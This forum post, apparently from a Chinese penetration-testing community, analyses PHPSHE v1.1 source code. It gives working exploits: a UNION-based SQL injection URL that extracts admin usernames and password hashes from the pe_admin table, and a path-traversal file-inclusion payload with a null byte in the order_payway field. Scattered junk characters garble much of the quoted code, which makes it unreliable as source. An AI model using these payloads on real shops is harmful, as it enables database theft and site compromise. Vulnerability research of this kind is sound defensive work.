" T: f' Q. E: ~% J
0×02 搜索注入
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));" \1 S4 B* P$ ~$ v/ n
//搜索
$sqlwhere = " and `product_state` = 1";+ H0 S* f$ A, K: t( Z* k/ o( l
pe_lead('hook/category.hook.php');0 T" y o5 u2 z7 x+ E5 {+ w( q) ^
if ($category_id) {$ U" o N9 K, _! U
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {$ K/ D% e$ P1 N& b3 O- u- S( z! U
$orderby = explode('_', $_g_orderby);& b3 `. f8 W8 Z, j
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";8 u! G7 n: l/ Y5 f$ A1 q7 V- d6 z
}) E2 l6 F/ M. s3 e, K& }( X
else {6 [( s0 U: ~1 L! ?- z! H
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行) s( H. Q9 ~! b% w! D" n' a; M
$product_hotlist = product_hotlist();6 K v4 d" p( W! M2 @ d; e
//当前路径
$nowpath = category_path($category_id);2 Q9 G6 m+ D* w$ ?" d- _
$seo = pe_seo($info['category_name']); |8 v4 [8 _% \( |" i3 D
include(pe_tpl('product_list.html'));
//跟进selectall函数库& n7 s1 @6 n! Y
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{( D- s! q5 V. ` _- f" L
//处理条件语句; e: V- Y% D6 w6 P
$sqlwhere = $this->_dowhere($where);1 ~- h- q9 T+ t
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>
0×03 包含漏洞2
<code id="code3">
//order.php
case 'pay':
: @0 L$ G& W/ ?8 }: w! G
$order_id = pe_dbhold($_g_id);
$cache_payway = cache::get('payway');
0 f1 I9 p" I# b
foreach($cache_payway as $k => $v) {
2 P' s. X% x' g& j' v0 a; @& T
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
H9 U8 J; _. m4 v
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
+ D* `: b4 Q& V9 @7 c1 ?
}
7 [8 f) I$ `8 G" p% J
}
: E. x3 K0 {( w( \
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
7 D3 {$ N9 v% j% U( L ?% P6 A9 @+ d
!$order['order_id'] && pe_error('订单号错误...');
' z x$ `0 s+ q# P; w
if (isset($_p_pesubmit)) {
' U# i0 H' g [
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
; P6 j; A; i6 k' [5 \
foreach ($info_list as $v) {
8 X. r4 a& R5 A8 n, w/ N5 `
$order['order_name'] .= "{$v['product_name']};";
+ M( w7 E; i, _& }
}
4 q8 b9 |' v0 q. o4 K! m
echo '正在为您连接支付网站,请稍后...';
1 {8 w* _: Z( j' _, U! T: p
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
else {
pe_error('支付错误...');
}
}
; r' h% q4 v; c) o' V
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code> O" s( x) ]/ g; F3 {' j
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |